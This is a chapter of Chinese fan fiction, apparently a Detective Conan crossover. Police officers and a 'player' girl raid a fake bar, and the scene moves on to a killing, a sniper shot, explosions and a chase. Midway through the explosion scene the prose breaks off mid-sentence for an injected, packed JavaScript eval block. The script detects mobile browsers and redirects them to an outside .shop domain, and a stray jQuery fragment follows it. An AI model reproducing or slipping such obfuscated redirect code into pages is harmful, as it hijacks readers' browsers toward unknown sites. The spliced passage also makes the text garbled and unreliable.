四个人站在SOLARIS门口附近。
白色的光打在台阶上,像一摊泼翻的牛奶。玻璃门里面透出暖黄色的光,有人影来回走动,模模糊糊,像隔着水看鱼。
松田深吸一口气。空气里有烧烤摊残留的油脂味,和下水道蒸上来的潮气混在一起,堵在鼻腔里。
“进去以后,不要暴露身份。”
小林:“暴露身份会怎样?”
“任务失败。”
“任务失败会怎样?”
“我们白来一趟。”
小林想了想。她的目光从灯箱上滑下来,落在自己鞋尖前面三厘米的地砖上。地砖有一块缺了角,露出底下灰白色的水泥。
“那我不说话。”
“你能做到?”
“能。”
“确定?”
小林点头。然后她抬起右手,拇指和食指捏住嘴唇,从左到右,做了一个缓慢的、认真的拉链动作。指节在下颌骨上轻轻磕了一下,像在确认锁扣有没有合紧。
松田看着她的动作,停顿了两秒。他的眉心有一道极浅的竖纹,在灯箱的光线下显得比平时更深。
“……你从哪学的这个?”
小林放下手:“论坛。”
“什么论坛?”
“《如何在NPC面前控制表情和语言》。”
松田没有立刻接话。他转过头,看向旁边靠在墙上的萩原。萩原正低头用鞋尖碾一颗小石子,听见自己的名字,抬起头来,表情介于好奇和无奈之间。
松田:“她上的到底是什么论坛?”
萩原:“我也想知道。”
小林张嘴。上下唇分开了大约两毫米,又合上了。她想起自己刚拉了拉链。
松田注意到了:“你想说什么?”
小林指了指自己的嘴,食指点了点嘴唇,像在按一个不存在的开关。
松田:“你可以说。”
小林放下手:“我还知道一个论坛叫《如何伪装成普通市民》。”
松田:“你看过?”
小林:“嗯。”
“有用吗?”
小林想了想。台阶下面的沥青路面有几道裂纹,像干涸河床的缩小版。
“目前看来,没什么用。”
“为什么?”
小林指了指自己:“因为你们还是发现我了。”
松田沉默了两秒。他身侧的门灯忽然闪了一下,像换了一口气。
“按照计划执行。”
——
入口旁边站着一个穿黑衬衫的男人,看起来更像普通服务生。他不会拦下每一个人,也不会刻意观察脸,只会在少数几个人经过时稍微让开一点。像认识。又像只是知道什么人不该问。
警方没有一起进去。萩原先下去。
十分钟后,确认里面没有明显危险,其他人才分批进入。
小林跟着松田走下楼梯。越往下,地面上的声音就越远。
墙壁吸走了汽车声和行人的脚步,只剩下低沉的音乐从里面一下一下震出来。楼梯拐了两个弯,尽头是一扇没有标志的深色门。
推开以后,里面比小林预想中更安静。
灯不亮。
吧台后面摆了很多酒,玻璃瓶在暗黄灯光里折出细碎的光。桌子不多,客人也不多。有人坐着喝东西,有人在角落说话,还有两个人站在墙边,视线隔一会儿就会扫过门口。
小林第一眼就觉得不太对。
虽然十米规则在小林踏入这个会所就开始响起。真的索拉里斯也是这样的,进去系统会提示这里有玩家,但是……
这里的人不像玩家。
不是说外表。是动作。桌边的人不会频繁看门,也不会下意识确认别人手的位置。走路的时候也不抢最方便撤退的路线。像是普通NPC。
但站在边缘的那几个不一样。他们会看人。看鞋。看腰。看袖口。也看门。他们身上没有玩家那种“随时准备跑”的感觉。更像本来就知道自己不会跑。
专业。
小林在心里给出了一个简单的分类。
很危险的NPC。
不对。警察说不要这样叫。
很危险的人。
小林脚步停了一下。
松田立刻侧头。
“怎么了?”
“有玩家。”
他的表情一下变了。
“在哪?”
“不知道。”
“……”
小林说的是实话。
十米就是十米。
系统从来不负责告诉她目标站在哪。
酒吧里现在至少有十几个人。有服务生,有客人,还有几个明显负责看场子的人。
其中一个可能是。也可能不止一个。
松田低声说:“按之前说的,发现以后先告诉我们。”
“已经告诉了。”
“我是说确定是谁以后。”
“哦。”
小林继续往里走。
松田看着她的背影,莫名有种不太放心的感觉。
几秒后,他跟得更近了一点。
---
萩原已经坐到了吧台边。
他很适合这种地方。
不穿警服的时候,笑起来一点也不像警察。酒保跟他说了两句话,他就已经很自然地把话题带到了最近附近有没有见过一个黑发年轻女人。
佐藤在另一边和店里的负责人核对员工信息。
伊达留在楼上协调。
松田则一直没有离小林太远。
小林慢慢绕过半个酒吧。
提示还在。
她走到吧台附近。
还在。
往洗手间方向走了几步。
还在。
再往前。
消失了。
她停住。
后退一步。
【警告。】
【十米范围内检测到其他玩家。】
再向前。
消失。
小林低头看了一眼地面。然后转身,换了一个方向。
松田皱起眉。
她刚才还走得很正常。
现在却突然开始在酒吧里走一种很奇怪的路线。
走三步。
停一下。
退回来。
再绕半圈。
像在地板上量什么看不见的距离。
“你干什么?”松田问。
“找人。”
“用这种方法?”
“嗯。”
她没有解释。
因为没什么好解释的。只要找到提示出现和消失的边缘,多走几次,就能把范围一点点缩小。
小林绕过一张桌子。
提示出现。
她向左。没有消失。向右。还在。再往后。消失。
她抬头。
附近剩下五个人。一个喝醉了的上班族。一对坐在一起说话的男女。一个靠着墙看手机的年轻男人。还有一个刚从后方走廊出来、戴着棒球帽的人。
小林站了两秒。棒球帽男人抬了一下头。只是一下。但看见她的时候,他的瞳孔明显缩了一瞬。然后转身。
小林立刻跟了上去。
“喂。”
松田伸手没抓到她。她已经穿过两张桌子。
棒球帽男人没有跑。跑会太明显。他只是加快了速度,拐进酒吧后面的走廊。
小林跟进去。
视野里的红色提示一直没有消失。
是他。她现在大概有八成确定。
走廊尽头有两扇门。一边写着员工专用,另一边没有标识。男人推开没有标识的那扇。小林在门合上前伸手挡住。
里面像一个很小的储物间。没有窗。
男人转过身。两个人对视。
系统警告还亮着。
小林确定了。
“玩家。”
男人的脸色彻底变了。他的右手立刻往后腰摸。
玩家比他更快。
她一步进去,抬手扣住他的手臂,膝盖直接顶向腹部。男人侧身躲开,另一只手从袖子里滑出一把短刀。
刀锋在昏暗灯光下亮了一下。
小林看见刀,反而松了一口气。
是玩家就简单了。
杀掉就行。
男人一刀划过来。她侧身避开,肩膀伤口被扯了一下,疼得很明显。状态栏掉了一小截。玩家没有管。她抓住男人的手腕往墙上撞了一次。刀掉下来。男人闷哼一声。
玩家顺势抄起刀。刀尖转向。
对准颈侧。
门在这时候被猛地撞开。
“住手!”
小林手腕一紧。
松田从后面一把扣住她持刀的手,硬生生把刀锋压偏。
短刀擦过男人颈侧,在墙上划出一声尖锐的响。
另一边几乎同时冲进来的萩原直接把男人按倒在地。
“手别动。”
棒球帽男人还想挣。萩原膝盖压住他的背,反手将两条胳膊扣到身后。
“我建议你听话一点。”
小林没有看他。
她在挣松田的手。
“放开。”
“不放。”
“他是玩家。”
“我知道你这么认为。”
“那为什么不让我杀?”
松田额角明显跳了一下。
“因为这里不是你那个鬼游戏!”
“但他刚才准备攻击我。”
“所以我们会抓他。”
“抓了还会放。”
“那是之后的事。”
“放了他还会杀我。”
“那也是之后的事!”
松田直接夺走她手里的刀,扔到走廊另一边。金属撞在地面,发出清脆的一声。
小林看着他。是真的不理解。男人被萩原按在地上,佐藤已经从后面赶过来,迅速搜走他身上的其他东西。一把折叠刀,一部手机,还有一张无法立刻确认来源的门卡。
没有人杀他。
也没人打算让小林杀。
松田仍然抓着她的手腕。力道很稳:“听好了。”
他的声音压得很低:“我不管你以前遇到过什么。现在这里是警察管的地方。”
小林看着他。“有人要杀你,我会抓他。”
“你要杀人,我也会抓你。”
走廊一下安静了。
连地上的男人都短暂地停止挣扎。
小林眨了一下眼睛。像是没听懂。又像听懂了,但这件事不符合她现有的任何分类。
“你会抓要杀我的人?”
“对。”
“因为他攻击我?”
“对。”
“即使他是玩家?”
“我管他是什么东西。”
松田的眉毛已经皱得很深。
小林安静了一会儿。
“以前没有。”
“什么?”
“以前别人只会教我跑。”
“不要停,不要被抓住,别人想杀你就先杀掉,不然下一次会更麻烦。”
萩原抬起头。佐藤手上的动作也停了半秒。
小林还在看松田。
“倒是第一次有NPC——”
松田眼皮一跳。她立刻改口。
“警察。”
“……”
“第一次有警察跟我说,会处理要杀我的人。”
松田盯着她。
几秒后,他才咬着牙重新强调:
“但是你杀人,我也会抓你!”
“我知道。”
“你最好是真的知道。”
小林想了想。
“那如果他逃了呢?”
“追。”
“追不到?”
“通缉。”
“以后又来杀我?”
“再抓。”
“如果一直来?”
松田额角的青筋都快出来了。
“你为什么非要把流程推演到最坏情况?”
“因为会发生。”
小林说得理所当然。
松田一时竟不知道应该先骂哪一句。
旁边的萩原终于忍不住笑了一声。
“小阵平。”
“笑什么?”
“没什么。”
“你明明就在笑!”
萩原咳了一声,把地上那个玩家拉起来。
“至少她现在记住了吧。”
松田冷着脸看向小林。
“记住了吗?”
小林点头。
“发现玩家先告诉你们。”
“然后呢?”
“有人攻击我,你们抓。”
“还有。”
“我不能杀。”
“非常好。”
小林停了一下。
“除非你们都死了?”
“……”
“……”
走廊再次安静。
松田深吸了一口气。
“这条先别给我擅自补充。”
小林“哦”了一声。
她低头看了一眼自己的手腕。刚才被松田扣住的位置已经红了一圈。不是很疼。但存在感很明显。
她以前确实没遇见过这种情况。有人拦着她杀掉威胁。理由不是想抢积分。不是为了留下目标问情报。也不是因为那个人属于自己的队伍。只是因为“不允许”。
这条规则很麻烦。
可奇怪的是,并不让小林讨厌。
---
被制服的男人暂时交给便衣警员看守。他一句多余的话都不肯说。没有身份证件。手机有密码。门卡上也没有文字。但这些已经足够让警方确认,这个地方比表面上复杂。
更让松田在意的是,小林刚才那套“走来走去”的办法。
“你怎么确定是他的?”
回到酒吧前厅后,他问。
小林喝了一口萩原顺手给她拿来的水。
“范围。”
“什么范围?”
“十米。”
“所以你刚才来回走,是在测距离?”
“嗯。”
松田沉默了一秒。
“你就不能提前告诉我们?”
“我还没确定。”
“确定以后呢?”
“我去杀他了。”
“……”
松田觉得自己的血压又开始往上走。
萩原在旁边低头喝咖啡,肩膀明显抖了一下。
“萩。”
“我没笑。”
“你最好是。”
就在这时,萩原耳机里突然传来一阵很轻的电流声。
他的神色立刻变了。
“重复一遍?”
对面说了什么。萩原脸上的笑意一点点收了起来。
他抬起头,看向松田。
“仓库那边有发现。”
“什么?”
“人。”
“活的?”
萩原停顿了一下。
“死的。”
几个人同时安静下来。
---
仓库不在酒吧里面。至少表面上不是。
从员工通道出去以后,要穿过一条狭窄的后巷,再从另一栋建筑的地下货运口往下。消防图上两个区域没有直接连通,但实际地下结构比图纸复杂得多。
那个棒球帽男人没有被立刻送走。地下结构复杂,外面入口还没完全清出来,伊达先让人把他和另外两个可疑人员一起临时控制在仓库外侧的管道边,等增援到了再统一转移。
从棒球帽男人身上搜出来的门卡,刚好能刷开其中一道门。里面没有开灯。空气很冷。也有一股很淡的铁锈味。
松田先进去。然后是萩原和佐藤。小林被要求留在门外。
她站了十几秒。没人出来。
门口本来有个便衣守着,但被伊达叫去搬照明设备了。
于是小林便也光明正大进去了。
松田回头看见她,脸立刻沉下来。
“谁让你进来的?”
“你们进去太久了。”
“一分钟都没有。”
“哦。”
她没有退出去。
仓库里面堆着很多密封箱,大部分没有标签,少部分贴着外文运输单。墙边有拆开的木架,地面散着塑料膜和断掉的扎带。最里面躺着一个人。男性。三十岁上下。仰面倒在地上。死了。
胸口没有老鼠之心。
松田第一时间就注意到了这一点。
前面几具和这条线有关的尸体,身上都出现过那个黑色纹样。但这个人没有。皮肤很干净。只有衬衫被血染开了。
佐藤蹲下检查。
“刚死没多久。”
“伤口呢?”
“腹部一处,可能还有别的,要等鉴识。”
萩原看向旁边。地上有明显拖动痕迹。
男人不是死在现在这个位置。他被人移动过。更奇怪的是,仓库里几排箱子都被打开了。
不是搜查时那种乱。而是有人很清楚自己要找什么,精准地拆了其中几箱,然后离开。
“没有纹身。”佐藤说。
松田“嗯”了一声。他戴上手套,视线落在尸体右手食指上。指甲缝里嵌着一点灰黑色的粉末,极细,像研磨过的炭。他拿镊子刮了一点下来,凑近鼻端。
气味很淡。但那个味道他认得。假维修工工具箱残留的黑火|药。
松田蹲下来查看死者身边掉落的东西。一只打火机。一串钥匙。还有半张被血浸湿的收据单。字已经糊掉大半,只能看见最下面似乎写过一个名字。萩原拿起证物灯照了一下。
“能看清吗?”
“不行。”
“带回去处理。”
松田站起来,目光扫过整个仓库。
酒吧里的人看起来都太镇定。镇定得不像普通客人。刚才那个攻击小林的人混在其中,没有任何人表现出惊讶。
现在地下仓库又躺着一具没有纹身的尸体。
有人在这里死了。有人翻过这些箱子。还有一个他们暂时不知道是什么身份的人,拿着能打开这里的门卡。
所有线都像已经开始靠拢。可真正连接它们的那根东西,依然藏在看不见的位置。
伊达的声音从无线电里传来。
“松田,现场情况?”
松田按下通话键。
“发现一具男性尸体。身份不明。”
停了一下。他又看了一眼死者胸口。
“没有老鼠之心纹身。”
无线电另一边安静了半秒。
“收到。封锁现场,鉴识马上下来。”
松田松开按钮。
小林忽然问:
“那现在呢?”
“什么现在?”
“还继续吗?”
“继续什么?”
“临时队友。”
松田愣了一下。
她站在仓库冷白色的灯下面,肩膀还缠着绷带,手腕上留着刚才被他扣出来的红痕。表情和平时一样。只是目光很认真。
松田顺着她的话,想起了车上任务分配的时候。
案子结束前。
他本来只是随口说的。
“还没结束。”他说。
小林点了一下头。
“哦。”
她没有笑。也没有表现得多高兴。只是像确认了一条仍然有效的规则,然后安静地站回他们这一边。
仓库外,地下酒吧的低音还隔着几层墙传过来。
一下。
一下。
沉闷得像某种巨大的心脏仍在黑暗里继续跳动。
而地上的死人已经不会再动了。
三个嫌疑人都已经被铐在管道旁,旁边有其他便衣警员看着,其中一个正想开口骂什么,仓库上方忽然传来极轻的一声响。像什么金属被敲了一下。
小林抬头。
下一秒,角留那个背脊绷得太紧的棒球帽男人额头猛地炸开一朵血花,整个人向后一仰,撞在水泥墙上,再慢慢滑下来。
血溅到旁边人的脸上。
仓库里静了一瞬,紧接着所有声音一起炸开。
“狙击?!”
“趴下!”
“找掩体!”
控制住嫌疑人的警员立刻压低身体,伊达已经反手把最近的人往货架后推。佐藤拔枪的一瞬间,小林也同时转过头,看向子弹射来的方向。
仓库尽头通风口外是一条狭窄的后巷,再远一点,是对面旧楼露出来的一角。灯影很乱,广告牌和管道把视野切得支离破碎。在那片破碎的灯光之间,有一道白色极快地滑了过去。
不是礼服。
更像外套,或者风衣的一角。
白得很薄,像故意让人看见。
小林心口猛地一跳。
玩家。
她几乎是在这个判断跳出来的同时,后颈的汗毛也一并立了起来。
不对。
不止枪声。
还有别的。
松田还蹲在尸体旁边,位置太靠里,身边就是几只来路不明的木箱和金属桶。他刚把那片白色布料装进证物袋,正在抬头找狙击点,距离最近的掩体却隔着至少三步。
小林没来得及想,身体已经先动了。
她直接扑了过去。
松田只来得及感觉到肩上一重,整个人被狠狠撞偏半步,下一秒,仓库左侧轰然炸开。
火光、木屑、铁皮碎片和灼热气浪一起扑了过来,空气像瞬间被撕开。耳边嗡的一声,脚下水泥地猛地震了一下。堆在左边的木箱被掀翻,酒瓶碎裂,玻璃和液体洒了一地,火沿着泄出的酒精一下窜开,仓库里顿时一片混乱。
有人在喊名字。有人在咳嗽。有人骂了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834984|211398||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
句脏话,试图把倒下来的架子推开。
小林被爆炸震得眼前发白,鼻腔里全是火药和烧焦木头的味道。她撑着地面起来,第一反应不是找人,而是抬头去看那道白色消失的方向。
她看见了。
后门那边,刚才被火光映亮的狭窄通道尽头,有一道白影又闪了一下。
【警告。】
【十米范围内检测到其他玩家。】
红字在视野右上角一跳而出。
这一次更近。
找到了。小林没有回头。
她直接冲进后门。
“喂——!”后面有人喊她,声音被爆炸后的杂音切得很碎。
小林没理。
通道又长又窄,墙面潮湿,头顶灯泡坏了一半,另一半在爆炸的震动里摇晃着发出轻响。她跑得很快,鞋底踩过地上的积水和碎玻璃,发出急促又凌乱的声响。系统提示没有消失,说明她追的方向没错。
白色在前面拐过一个弯。
小林追过去,冲出后巷的时候,外面已经彻底乱了。
刚才还像正常营业区的酒吧后街,现在到处都是惊叫和奔跑的人。远一点的仓储区也起了火,火舌沿着堆放得过密的木箱和包装布往上舔,像有人提前算好了一切,让爆炸一处接一处地接起来。空气里全是灰和烟,警笛声已经从更远的街口卷过来。
那抹白色在人群边缘停了一瞬。
这次小林终于看清楚了。
不是礼服,不是女人。
是一个穿浅色外套的人,动作利落,像根本不受混乱影响。他侧身穿过一排集装箱时,正有个纹着老鼠之心的男人跌跌撞撞从另一边跑出来,张嘴像要说什么,下一秒,枪响了。
很轻,但很准。
那人胸口|爆出一团血,直接倒了下去。
小林猛地停住脚步。
那抹白色已经不见了。取而代之的是另一道身影。
她先看见枪,再看见持枪的人。
高,银发,黑色长风衣,帽檐压得很低,站在火光和夜色中间,像一块冷硬的金属。旁边还停着一辆黑车,车窗漆黑,看不见里面有没有别人。
系统没有响。
可距离已经不在十米内了。
小林盯着对方,迅速在脑子里改判断,便利店的高级玩家。
银发男人也看见了她。
他只扫了一眼,目光就像刀一样落下来,很快,冷,没什么情绪,却又精准得过分。那不是看普通受害者的眼神。更像是在看某种不该出现在这里、但又暂时没有处置必要的异物。
“那群老鼠里,”他说,“混进了一只更会装死的。”
小林微微眯起眼。
玩家有时候也会这么说话,像在评价别的玩家。所以她几乎在他抬枪的同时就向旁边扑了出去。
子弹擦着她原本站的位置钉进集装箱外壁,金属发出刺耳的一声响。小林落地滚了半圈,顺手抓起旁边散落的一截铁管,借着箱体遮挡起身。对方没有急着追,只又开了一枪。
比刚才更快。
小林低头避开,子弹擦过耳侧,带起一阵火辣辣的风。她没试图正面靠近,这个人给她的危险感太强了,和前面见过的那些玩家完全不是一个等级。更糟的是,周围还在爆,火和烟都在扩散,地形在不断变坏。
她借着集装箱间的缝隙移动,想把距离拉近到系统能给出提示的范围。可刚跨出去半步,前方又是一声爆炸,火浪把整条通路吞了一半,热风逼得人不得不退。
银发男人偏头看了眼更深处蔓延开的火势,像也察觉到了今晚的混乱已经超过原本的清洗范围。他没再浪费时间,只把枪口重新压低,像记住了她这张脸,随后转身上车。
黑车很快滑了出去,消失在另一头的巷道口。
小林盯着那边,没追。
不是她不想,是她知道追不上。对方的撤退路线太完整,像已经演练过。而且系统始终没响,这意味着他大概率不在可判定范围内。她握着那截铁管站了两秒,忽然听见身后有人喊她名字。
不对。
不是喊。更像咬着牙压出来的。
“小林!”
她一回头,就看见松田。
他额角沾了灰,外套肩膀被烧破了一块,手臂上也有擦伤,脸色很差,像一路追着爆炸和火跑过来才找到她。看见她还能站着,他明显顿了一下,下一秒就大步走近,一把扣住她的手腕。
“你跑什么?”
他的手很热,力气也很大,五指扣下来几乎把她那点本来就没完全消掉的红痕又压出来。
小林低头看了一眼,没有立刻挣开。
“我在追玩家。”
“我说过,找到先汇报。”
“来不及。”
“什么叫来不及?”松田压着火气,“你知道现在这里什么情况吗?”
“知道。”小林说,“有人在炸仓库,有人清人,有人抢先杀掉了那个被控制住的玩家。”
松田皱了一下眉。
“你怎么知道死的是玩家?”
“系统说的。”
“系统还说什么了?”
“这里有一只很会玩的玩家。”
这句话说出来的时候,小林看着的是刚才黑车离开的方向。那里只剩火光映在墙上的红影,和被烟雾盖住的巷口。
松田顺着她的视线看了一眼,又把目光收回来。
“你追的是谁?”
“不知道名字。”小林说,“很厉害,枪很快,不像普通人。”
“你还跟他交手了?”
“嗯。”
“你——”
他像是想说什么,最后却先停住了。大概是因为有太多东西可以骂,反而一时不知道从哪一句开始更合适。远处又传来一声闷响,比刚才小了些,像某个角落里的东西终于被引爆到头。火已经被赶来的消防和警力往外压,但空气仍旧烫得发干。
小林看了他两秒,忽然说:“你刚才站位不对。”
松田一顿。
“什么?”
“所以我扑你。”
这句话太直了,直得连松田都短暂地沉默了一下。
风从燃烧的仓储区另一头卷过来,带着灰和火药味。小林的头发被吹乱了一点,脸侧还有刚才躲子弹时蹭上的灰。她看起来不太像从爆炸里跑出来的人,更像从别的、更冷的地方一路漂过来的什么东西,直到现在还没有完全融进这个世界里。
松田盯着她,声音低下来一点。
“为什么第一时间扑到我?”
小林想了想。
“因为我们是teammate。”
她顿了一下,又补上一句。
“临时的。”
这次轮到松田彻底不说话了。
他扣着她手腕的力道没有立刻松开,但也没有再更重。像是在判断她是不是又在用那套奇怪的逻辑敷衍人。可她神色很认真,认真得像只是在陈述一个非常简单的事实。
纸上写过她的名字。
松田说过,案子结束前是。
所以在案子结束前,他是临时队友。队友站位不对,会死。她扑过去,很合理。
小林觉得这根本不需要解释。
远处的火还在烧,映得半边天都发红。爆炸后的热气一阵一阵扑过来,把夜风都烫得发干。松田最终还是松开了手,只是改成按住她肩膀,把她往相对安全一点的方向带。
“先回去。”他说,“神代纱月找到了。”
小林抬头。
“我没看见她。”
“因为你追错方向了。”松田说。
这句听起来有点像讽刺,但语气并不重,更像累。今晚的信息量太大,爆炸、狙击、清洗、仓库、尸体,还有一个永远不按要求行动的问题人员,换谁都轻松不起来。
他们绕过一段被拉起警戒线的通道,回到前场时,这里已经和最开始完全不一样了。
大批警察和消防把人群往外疏散,地上跪着几个被制服的人,有的手臂上还带着血,衣领扯开以后,胸口或者后颈隐约露出老鼠之心的纹身。假酒吧的正门已经被炸塌了一半,里面的灯全灭了,只剩断断续续的应急照明和火场反光,把每个人的脸都照得发白。
萩原正在和伊达说话,手里还拎着一只从仓库里抢出来的证物箱。佐藤不在这里。
“她那边怎么样?”松田问。
伊达转头看见他们,先扫了一眼小林,确认人没缺胳膊少腿,才开口:“找到神代纱月了,活着,受了惊吓,身上有轻伤。佐藤已经先带她去做笔录和医疗处理。”
小林看向爆炸区另一侧。
她刚才如果没有追出去,也许会和神代纱月撞上。但也只是也许。现场太乱了,像一张被火烧穿的网,每个人都在朝不同方向奔。
萩原把证物箱放到一边,轻轻吐了口气。
“索拉里斯炸成这样,线索算是断了一半。”
“不一定。”伊达说,“今晚抓到的人不少。纹着老鼠之心的编外人员也够我们挨个查一轮了。再加上神代纱月能开口,这已经不算坏结果。”
他说完,又看了眼身后还在冒烟的地下入口。
从警察的角度,这里当然是重要现场,是需要一寸寸筛过去的犯罪地点。可对小林来说,这里更像一个已经被放弃的错误入口。会亮,会开门,会吸引人往下走,但真正重要的东西早就在爆炸里换了位置。
假的索拉里斯没了。
可老鼠还在跑。
风里有灰落下来,轻轻沾在她袖口上。小林抬手拍掉,忽然又想起那辆黑车、那把枪,和那个始终没被系统识别出来的银发男人。
如果他不是玩家,那他就比玩家还麻烦。
如果他是,只是距离一直不够——
那就是一只很会玩的。
“小林。”
松田又叫了她一声。
她抬头。
“下次再发现什么,先说。”
“来不及呢?”
“那也先说。”
“说了你会信吗?”
松田看着她。
火光映在他眼底,跳了一下,又被压回去。
“我会先听。”
这句话和“我会信”不一样,但小林能听出差别。前者是程序,后者是态度。警察好像总是这样,说话要留余地,要讲证据,要讲顺序,不像玩家,只分能不能活。
她没有点头,也没有反驳。只是把这句话也记了下来。
警笛声、对讲机声、人群压低后的骚动声,和火场残留的噼啪声混在一起,整条街都像还没从爆炸里缓过来。有人在搬运证物,有人在登记身份,有人在追查爆炸源头。假的索拉里斯已经塌了,可这一夜显然还没有结束。
小林站在警戒线边,望着前面那些来回晃动的人影,忽然觉得“临时队友”这个词并不坏。
至少在案子结束前,它是真的。
哪怕只有一点点。